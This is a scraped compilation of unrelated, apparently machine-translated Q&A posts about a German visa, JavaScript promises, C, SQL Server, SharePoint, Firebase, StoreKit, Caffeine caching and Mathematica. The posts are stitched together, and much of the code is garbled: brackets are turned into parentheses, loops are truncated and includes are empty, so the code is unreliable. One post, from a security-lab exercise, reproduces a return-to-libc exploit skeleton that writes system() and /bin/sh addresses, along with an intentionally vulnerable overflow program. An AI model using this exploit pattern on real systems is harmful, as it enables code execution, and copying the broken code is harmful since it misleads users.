In Germany with an expired Schengen visa. Cannot return home due to corona virus

The visa status should not prevent him from leaving Germany. Under normal circumstances, overnight stays can be punished, but for people who leave alone after a few days, that would at most be a fine. This makes the reaction of the border police puzzling. Are you sure that nothing has been lost in the translation?

The city of Munich writes:

  • Before the visa expires, contact the KVR. He did it.
  • He receives a certificate that is valid until the KVR reopens. That hasn't happened yet.
  • If there is still no answer, he should send an email with scans of
    • Passport and visa
    • A confirmation from the hotel or host where he is staying.
    • Proof that departure is impossible. (They don't say what that is.)
    • If available, proof of health insurance.

So it seems that he did everything and the city administration can't keep up.

He should make sure that everything is documented correctly so that there are no problems with it Next one Application for a Schengen visa.


Although I understand that returning home could be a personal emergency for him, I would think that Munich is reasonably safe at the moment. Germany has more confirmed infections than Iran, but fewer deaths.

Javascript – Best approach for handling functions that either return a promise or just return synchronous code

I wrote code and am trying to get feedback on it. I will try to summerize only the essentials. I have a function that returns a promise or something else based on a condition:

function isActive(){
  if(condition){
    return API.someFunction().then(function(response){
      return response;
    });
  }
  return active;
}

Then I call this function to check isActive() in a few other methods like this:

Promise.resolve(isActive()).then(function(response){
  if(response){
    //execute code here
  }
});

Is the Promise.resolve() in this case a good approach or am I just writing bad code? Is there a better way to deal with that? isActive() Function?

PS: Let's rule out asynchronous waiting for the example above.

c – Why does the result depend on where we write the return statement?

The set S originally contains numbers from 1 to n. Unfortunately, due to the data error, one of the numbers in the sentence was duplicated to another number in the sentence, which leads to the repetition of one number and the loss of another number.

Given an array nums Representation of the data status of this record after the error. Your task is to first find the number that occurs twice, and then find the number that is missing. Return them in the form of an array

Example 1:

Input: nums = (1,2,2,4)

Edition: (2.3)

Above is a problem I've been working on and I've created a work program for it. It is given below


    int hashtable(numsSize);
    int*  target =(int*) malloc(2*sizeof(int));
    *returnSize = 2;

    for(int i=0;i

Accepted

Your input
(1,2,2,4)

output
(2,3)

Expected
(2,3)

This results in the required expenditure.

But I noticed that for them third loop when you place that return The statement below does not provide the required result.

for(int i=0;i

Wrong answer

Your input
(1,2,2,4)

output
(2, -1094795586)

Expected
(2,3)

Why is this problem occurring?
Are there other similar problems?

Please also provide additional steps to optimize the program, and advice on similar issues and matters is greatly appreciated.

Thanks a lot.

SQL Server – sp_Blitzcache does not return as many results for a particular query as sys.dm_exec_query_stats

I'm trying to find plans for a specific set of queries (those that are updated MyTable) With sp_blitzcache::

EXEC sp_Blitzcache @SlowlySearchPlansFor = 'UPDATE (My Table)'

However, this returns 3 results when I run the following query

SELECT  d.name,
        t.text AS TSQL_Text,
        s.creation_time, 
        s.execution_count,
        s.total_worker_time AS total_cpu_time,
        s.total_elapsed_time, 
        s.total_logical_reads, 
        s.total_physical_reads, 
        p.query_plan
FROM    sys.dm_exec_query_stats s
        CROSS APPLY sys.dm_exec_sql_text(s.plan_handle) t
        CROSS APPLY sys.dm_exec_query_plan(s.plan_handle) p
        JOIN sys.databases d
            ON t.dbid = d.database_id
WHERE   t.text LIKE '%UPDATE (My Table)%' ESCAPE ''

it comes back much more.

There is a kind of limit in sp_blitzcache which queries are found? For example, are inexpensive queries ignored?

2013 – SearchExecutor does not return results with non-privileged users

In short "test user" is "TE", "administrator user" is "admin".

I am currently working on a SharePoint project in Visual Studio that provides a web part that uses the search engine. The code returns values ​​for the administrator, but this is not the case for TE. TE has rights to some items.

My goal is to search with TE and get the items that he has access to. Do you know a way to do this?

Now the code looks like this:

internal static DataTable Search(string query, string urlSite, List properties, KeywordInclusion typeSearch)
{
  DataTable dataTable = null;
  using (SPSite site = new SPSite(urlSite))
  {
    site.AllowUnsafeUpdates = true;

    KeywordQuery keywordQuery = new KeywordQuery(site);
    keywordQuery.fill( query, properties, typeSearch);

    SearchExecutor searchExecutor = new SearchExecutor();
    ResultTableCollection resultTableCollection = searchExecutor.ExecuteQuery(keywordQuery);

    ResultTable resultTable = resultTableCollection.FirstOrDefault();
    dataTable = resultTable.Table;

    site.AllowUnsafeUpdates = false;
  }
  return dataTable;
}

Renewal method:

internal static KeywordQuery fill(this KeywordQuery keywordQuery, string query, List properties, KeywordInclusion typeSearch)
{
  int rowLimit = 10000;
  int queryTimeOut = 30000;
  bool duplicated= false;

  keywordQuery.QueryText = query;

  keywordQuery.KeywordInclusion = typeSearch;
  keywordQuery.TrimDuplicates = !duplicated;
  keywordQuery.RowLimit = rowLimit;
  keywordQuery.Timeout = queryTimeOut;

  foreach (string propertie in properties)
    keywordQuery.SelectProperties.Add(propertie);

  return keywordQuery;
}

java – Only let Firebase return the date to me once a day and not for every message

In my app, I have a chat between users and I want the date to appear only once a day above the first message. As I have it now, Firebase returns the date above every message, but I want it to only return the date ONE Time in addition to the first message sent between two users if it is a new day.

How can i get it

Below is a photo of how I got it

Enter the image description here

MessageAdapter

        holder.message_time.setText(chat.getTime());
        holder.date.setText(chat.getDate());

static class ViewHolder extends RecyclerView.ViewHolder {

        TextView show_message, text_seen, message_time, date;
        ImageView profile_image;

        ViewHolder(View view) {
            super(view);

            show_message = view.findViewById(R.id.show_message);
            profile_image = view.findViewById(R.id.profile_image);
            text_seen = view.findViewById(R.id.text_seen);
            message_time = view.findViewById(R.id.message_time);
            date = view.findViewById(R.id.date);
        }
    }

ios – User payment is successful, StoreKit return fails "Payment canceled"

I've implemented that non-renewing In-app purchase with SwiftyStoreKit Library.

If the user tried to create a new subscription it sometimes works properly in the production environment, but in some cases the payment by the user is successful but dramatic StoreKit Return error "paymentCancelled" it that SKError Class, which means that the user canceled the request, but the user claims that he did not cancel it. The customer also proves that he has paid

It failed in production, but works in the sandpit.

Here is the method I used to buy a single product:

SwiftyStoreKit.purchaseProduct("com.musevisions.SwiftyStoreKit.Purchase1", quantity: 1, atomically: false) { result in
    switch result {
    case .success(let product):
        // fetch content from your server, then:
        if product.needsFinishTransaction {
            SwiftyStoreKit.finishTransaction(product.transaction)
        }
        print("Purchase Success: (product.productId)")
    case .error(let error):
        switch error.code {
        case .unknown: print("Unknown error. Please contact support")
        case .clientInvalid: print("Not allowed to make the payment")
        case .paymentCancelled: break
        case .paymentInvalid: print("The purchase identifier was invalid")
        case .paymentNotAllowed: print("The device is not allowed to make the payment")
        case .storeProductNotAvailable: print("The product is not available in the current storefront")
        case .cloudServicePermissionDenied: print("Access to cloud service information is not allowed")
        case .cloudServiceNetworkConnectionFailed: print("Could not connect to the network")
        case .cloudServiceRevoked: print("User has revoked permission to use this cloud service")
        default: print((error as NSError).localizedDescription)
        }
    }
}

Please tell me what I'm doing wrong.

Your thoughts and suggestions will be greatly appreciated.

Thank you in advance.

How to find the buffer offset for Return to Libc Attack

I'm trying to find the buffer to implement my Seedlabs buffer attack on

The lab link is also here: https://seedsecuritylabs.org/Labs_16.04/PDF/Return_to_Libc.pdf

How do I find X Y Z in a Return To Libc attack with a buffer of 150?
This is the exploit code we were given. I have already found the addresses to which the buffers have to write, but I only need the X Y Z:


#include 
#include 
#include 

int main(int argc, char **argv) {

    char buf(40);
    FILE *badfile;
    badfile = fopen("./badfile", "w");

/* You need to decide the addresses and the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we intentionally scrambled the order. */

    *(long *) &buf(X) = 0xbffffdd4; // /bin/sh

    *(long *) &buf(Y) = 0xb7e42da0; // system()

    *(long *) &buf(Z) = 0xb7e369d0; // exit()

    fwrite(buf, sizeof(buf), 1, badfile);

    fclose(badfile);

}

This is also the vulnerable program that we were given:


#include 
#include 
#include 

/* Changing this size will change the layout of the stack. * Instructors can change this value each
year, so students * won’t be able to use the solutions from the past. * Suggested value: between 0
and 200 (cannot exceed 300, or * the program won’t have a buffer-overflow problem). */

#ifndef BUF_SIZE
#define BUF_SIZE 150
#endif

int bof(FILE *badfile) {

    char buffer(BUF_SIZE);

    /* The following statement has a buffer overflow problem */ fread(buffer, sizeof(char), 300, 
    badfile);

    return 1;

}

int main(int argc, char **argv) {

    FILE *badfile;

    /* Change the size of the dummy array to randomize the parameters for this lab. Need to use the array         
    at least once */

    char dummy(BUF_SIZE*5); memset(dummy, 0, BUF_SIZE*5);

    badfile = fopen("badfile", "r");

    bof(badfile);

    printf("Returned Properlyn");

    fclose(badfile);

    return 1;

}

Caffeine Java cache – how to get a new value first and then return a new one when refreshAfterWrite has expired

I'm trying to use caffeine cache and I have a problem:

Assume the cache is empty and I ask for a value. It uses the loader and loads a new value into the cache. After 2 days I ask for the same value and receive it OLD Value first, then the update is initiated in a separate thread and the new value is loaded when loading is possible.

Caffeine.newBuilder().refreshAfterWrite(5, TimeUnit.MINUTES).expireAfterWrite(3, TimeUnit.DAYS);

What I want to archive is – try to update first and if possible return the new value first. If something goes wrong, just return the old one. How can I archive it? How can a simple, future-proof and clean implementation be implemented without workarounds? That would be great!

I know this could somehow be archived with connected double expireAfterWrite caches or using CacheWriter, but can't find an example.

Calculus and Analysis – Why can't Mathematica return the answer for this integrand?

When I run Integrate Command for an expression does not return anything, as you can see in the screenshot below. What is the reason?
Enter the image description here

My input:

Integrate(
 1/(2 Sqrt(sp) (Beta)) E^(-re^2 (se - (Beta)^2/(4 sp)))
   Sqrt((Pi)) (-2 + 
    Erf((2 (re + rep) sp - re (Beta))/(2 Sqrt(sp))) + 
    Erf((-2 re sp + 2 rep sp + re (Beta))/(2 Sqrt(sp))) + 
    Erfc((2 (re + rep) sp + re (Beta))/(2 Sqrt(sp))) + 
    Erfc((2 rep sp - re (2 sp + (Beta)))/(2 Sqrt(sp)))), {re, 
  0, (Infinity)})